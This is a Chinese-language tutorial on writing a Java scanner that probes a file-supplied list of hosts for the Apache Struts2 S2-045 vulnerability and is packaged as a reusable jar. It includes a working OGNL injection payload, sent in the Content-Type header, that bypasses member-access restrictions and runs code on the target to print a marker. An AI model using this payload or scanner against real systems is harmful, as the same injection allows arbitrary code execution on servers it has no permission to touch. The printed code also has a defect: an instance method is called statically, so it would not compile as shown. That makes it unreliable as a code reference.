java编写web漏洞扫描系列 二、(案例)Struts2漏洞扫描器
本文是编写web漏洞扫描器的第二章,将使用一个小案例带领大家入门一下!
开始,上一节我们说了Java发送GET/POST请求,一级简单的实现了一个检测Struts2漏洞的小工具,在本节中,我们将对它进行扩展,增加线程,提高扫描的效率并支持批量扫描!
那么想要以上一共我们可能会需要几个方法:
1.检测漏洞的方法
2.从文本读取文件的方法
3.一个线程池进行管理
以上三个方法就是我们必须要有的方法,缺的只是在一个主类里面进行调用这些方法。好的,先把需要用到的方法写出来!
第一步准备方法
1.文件读取和漏洞检测工具类:
import java.io.BufferedReader;
import java.io.File;
import java.io.FileReader;
import java.io.IOException;
import java.util.ArrayList;
import java.util.HashMap;
import java.util.List;
import java.util.Map;
/**
* 工具类
*
*/
public class Utils {
/**
* 读取文件
*
* @param filePath 文件路径
* @return 返回待检测目标集合
*/
public static List<String> readFile(String filePath) {
List<String> target = new ArrayList<>(); // 待检测目标
File file = new File(filePath); // 读取文件File
if (!file.exists() || file.isDirectory()) {
throw new RuntimeException("请检查文件是否存在或路径为文件!");
}
try {
FileReader fileReader = new FileReader(file);
BufferedReader reader = new BufferedReader(fileReader);
String line = null;
while ((line = reader.readLine()) != null) {
target.add(line);
}
} catch (IOException e) {
System.err.println("读取文件异常!");
// e.printStackTrace();
}
return target;
}
/**
* 漏洞检测方法
*
* @param target 目标
*
*/
public void str045(String target) {
String payload = "%{(#nikenb='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#context.setMemberAccess(#dm))))."
+ "(#o=@org.apache.struts2.ServletActionContext@getResponse().getWriter()).(#o.println('exist045')).(#o.close())}";
Map<String, String> headers = new HashMap<>();
headers.put("User-Agent",
"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36");
headers.put("Content-Type", payload);
String postResponseBody = Req.sendPost(target, "", headers); // 请求的方法还是上节课的方法
if (postResponseBody.contains("exist045")) {
System.out.println("[*] exist st2-045: " + target);
}
}
}
接下来我们只差一个够把上面这些方法组合起来的主类了!
第二步主类完善
import java.util.List;
public class Main {
public static void main(String[] args) {
String filePath = ""; // 文件路径
List<String> target = Utils.readFile(filePath); // 待扫描目标
for (String t : target) {
Utils.str045(t); // 检测漏洞
}
}
}
当然我们这样只能在开发工具中的使用,我们可能希望打包成jar,随时使用!
那么我们先改造一下程序主类,让它能够接收到参数!
import java.util.List;
public class Main {
public static void main(String[] args) {
if (args.length == 0) {
System.out.println("usage: java -jar struts2Detection.jar --file=target.txt");
return;
}
String filePath = ""; // 文件路径
for (String string : args) {
int len = string.indexOf("--file=");
if (len > -1) {
filePath = string.substring(len + 7, string.length());
System.out.println("filePath=" + filePath);
break;
}
}
List<String> target = Utils.readFile(filePath); // 待扫描目标
for (String t : target) {
Utils.str045(t); // 检测漏洞
}
}
}
下面说下导出成jar的过程:
对项目右键 - Export - Java - JAR file
然后选择导出路径
在经过两次Next之后,会来到一处让我们选择程序入口类,也就是存在Main函数的类,选择之后点击Finish即可!
使用过程
好的到这里这个单线程版本就已经完成,线程版本会在下节里面讲解。
到这里,大家应该会发现一个问题,就是扫描成功的结果,没有保存!这里留给大家自行完成,可以是保存为txt也好,xml也行!